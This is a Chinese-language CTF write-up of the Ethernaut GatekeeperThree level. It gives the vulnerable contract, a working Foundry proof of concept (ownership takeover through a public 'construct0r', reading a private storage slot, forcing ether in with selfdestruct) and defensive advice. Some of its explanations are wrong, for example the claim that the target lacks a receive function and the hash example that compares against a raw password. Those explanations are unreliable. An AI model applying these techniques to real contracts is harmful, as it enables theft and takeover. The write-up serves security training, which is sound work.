首页>>资讯>>产业

破解 Ethernaut GateKeeperThree

2024-02-29 10:10:24 137

Ethernaut Solutions


on my Github[1]我通过Ethernaut学习了智能合约漏洞,并进行了安全分析,我还提出了一些防御措施,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。


About Ethernaut


Ethernaut 是由 Zeppelin 开发并维护的一个平台。,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。

平台网址:https://ethernaut.zeppelin.solutions/


GateKeeperThree合约分析


攻击分析


ctf 网址:https://ethernaut.openzeppelin.com/level/0x653239b3b3E67BC0ec1Df7835DA2d38761FfD882

攻击类型:访问权限控制

目标:进入合约,将 entrant 更改成 deployer

要求:满足三个 modifier 条件


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


contract SimpleTrick {

  GatekeeperThree public target;

  address public trick;

  uint private password = block.timestamp;


  constructor (address payable _target) {

    target = GatekeeperThree(_target);

  }


  function checkPassword(uint _password) public returns (bool) {

    if (_password == password) {

      return true;

    }

    password = block.timestamp;

    return false;

  }


  function trickInit() public {

    trick = address(this);

  }


  function trickyTrick() public {

    if (address(this) == msg.sender && address(this) != trick) {

      target.getAllowance(password);

    }

  }

}


contract GatekeeperThree {

  address public owner;

  address public entrant;

  bool public allowEntrance;


  SimpleTrick public trick;


  function construct0r() public {

      owner = msg.sender;

  }


  modifier gateOne() {

    require(msg.sender == owner);

    require(tx.origin != owner);

    _;

  }


  modifier gateTwo() {

    require(allowEntrance == true);

    _;

  }


  modifier gateThree() {

    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {

      _;

    }

  }


  function getAllowance(uint _password) public {

    if (trick.checkPassword(_password)) {

        allowEntrance = true;

    }

  }


  function createTrick() public {

    trick = new SimpleTrick(payable(address(this)));

    trick.trickInit();

  }


  function enter() public gateOne gateTwo gateThree {

    entrant = tx.origin;

  }


  receive () external payable {}

}


这个与 GateKeeperOne[2], GateKeeperTwo[3] 类似, 这个 ctf 稍微难一些,让我们一块看一下。


gateOnegateOne 要求调用者不是合约地址,并且调用者不是合约的 owner。通过阅读 GatekeeperThree 合约里发现owner在construct0r()进行设置,该函数是 public,任何人都能进行调用。我们通过将 Attack 合约调用 GatekeeperThree.construct0r()来将攻击合约地址设置为owner,之后我们通过合约去调用GateKeeperOne.enter()就能进入 gateOne。


我猜测可能是开发者一不小心将 constructor()写成了constructor(),导致任何人都能调用。在Solidity 0.4.22之前,可以使用 constructor 关键字来声明构造函数并且可以添加 public 作为修饰符,但这种做法已被弃用。在 Solidity 0.8.0 版本,如果将构造函数声明为 public,编译器将会抛出错误,构造函数始终是在合约部署时自动调用的,而不是在合约生命周期内由外部调用的。


gateTwogateTwo要求 allowEntrance 为 true。在这个合约中,allowEntrance 设置为 true 需要通过调用 GateKeeperOne.getAllowance 函数, GateKeeperOne 合约再通过调用trick.checkPassword(_password),由 trick 合约的 checkPassword 函数需要判断传入的_password 是否与合约存储的私有变量 password 相同。如何去获取 password 呢,trick 合约里 password 是私有变量,无法直接读取,这真的是private吗?


solidity的 storage 存储方式有以下特点:


1.  存储在 storage 中的数据是永久性存储的,以键值对的形式存储在插槽(slot)中。

2. 数据在插槽中从右向左排列。当当前插槽空间不足时,会打包当前插槽,并开启下一个插槽来存储数据。对于存储定长数组(长度固定)的情况,数组中的每个元素占据一个插槽。

3. 存储变长数组(长度随元素数量而改变)时比较特殊。在遇到变长数组时,会先启用一个新的插槽(slotA)来存储数组的长度,而数组的实际数据则存储在另一个编号为 slotV 的插槽中。

我们知道链上数据都是公开可读的,不存在真正的 private,理解slot[4]的概念和状态变量在储存中的布局,我们一旦知道合约地址和变量对应 slot,就可以读取任意变量。


foundry 提供了通过 slot 读取变量的方法vm.load(address,slot)。


gateThreegateThree 要求合约的余额大于 0.001 ether。首先,了解常见转账方式有send,transfer,call{value:value}(),使用这些方式对合约进行转账需要对方合约有 fallback 和 receive 函数,而通过阅读 GateKeeperOne 合约发现其中并没有这两个函数,还有什么方式还能向合约进行转 eth 呢?


这块我们选择较为简单的方式,通过selfdestruct(address payable recipient)来销毁合约。


合约可以通过selfdestruct(address payable recipient)来销毁合约,并把合约余额转账给 recipient;

矿工(现在是 builder 和 proposer)接收区块奖励,将奖励地址设置为合约地址。


Proof of Concept


根据以上分析,完整的 PoC 代码如下:


contract Attack {

    address public target;

    constructor(address _target){

        target = _target;

    }


    function StepOne() public {

        (bool success,) = target.call(abi.encodeWithSignature("construct0r()"));

        require(success, "Failed to call construct0r");

    }


    function stepTwo() public {

        (bool success,) = target.call(abi.encodeWithSignature("enter()"));

        require(success, "Failed to call enter");

    }

}


contract Self {

    function attack(address _victim) public{

        selfdestruct(payable(_victim));

    }


    receive() external payable {}

}


contract GatekeeperThreeTest is BaseTest {

    GatekeeperThree gatekeeperThree = GatekeeperThree(contractAddress);

    // GatekeeperThree gatekeeperThree = new GatekeeperThree();


    function run() external {

        vm.startBroadcast(deployer);

        Attack attack = new Attack(contractAddress);

        gatekeeperThree.createTrick();

        SimpleTrick trick = gatekeeperThree.trick();


        // gateOne

        attack.StepOne();


        // gateTwo

        uint _password = uint(vm.load(address(trick), bytes32(uint256(2))));

        gatekeeperThree.getAllowance(_password);

        assert(gatekeeperThree.allowEntrance() == true);


        // gateThree

        Self self = new Self();

        address(self).call{value: 0.001001 ether}("");

        self.attack(address(gatekeeperThree));


        attack.stepTwo();


        assert(gatekeeperThree.entrant() == deployer);

    }

}


防御措施


在合约中存储密码时,直接将密码存储在合约的存储变量中。这种方法存在风险,因为存储在区块链上的数据是公开可见的,可能会被攻击者获取,因此,不建议直接存储原始密码,以下是一些常见的存储密码的方法:a. 哈希存储: 存储密码的常见做法是将密码进行哈希处理,然后将哈希值存储在合约中。这样做可以避免直接存储原始密码,提高安全性。常用的哈希算法包括 SHA-256、keccak256 等。例如:


contract PasswordManager {

   mapping(address => bytes32) private passwordHashes;


   function setPassword(bytes32 hash) public {

       passwordHashes[msg.sender] = hash;

   }


   function verifyPassword(bytes32 password) public view returns (bool) {

       return passwordHashes[msg.sender] == password;

   }

}


b. 加密存储: 可以使用对称或非对称加密算法对密码进行加密后再存储。只有合约的授权用户才能解密密码。这种方法提供了更高级别的安全性,但也增加了复杂性。例如:


  contract PasswordManager {

      mapping(address => bytes) private encryptedPasswords;


      function setPassword(bytes encryptedPassword) public {

          encryptedPasswords[msg.sender] = encryptedPassword;

      }


      function verifyPassword(bytes password) public view returns (bool) {

          // 解密 encryptedPasswords[msg.sender],然后与输入密码比较

      }

  }


避免通过 address.balance 进行权限设置,可以通过设置变量来替代,避免合约被强制转账从而影响正常业务逻辑的可能(比如被 selfdestruct 攻击)。

声明:本网站所有相关资料如有侵权请联系站长删除,资料仅供用户学习及研究之用,不构成任何投资建议!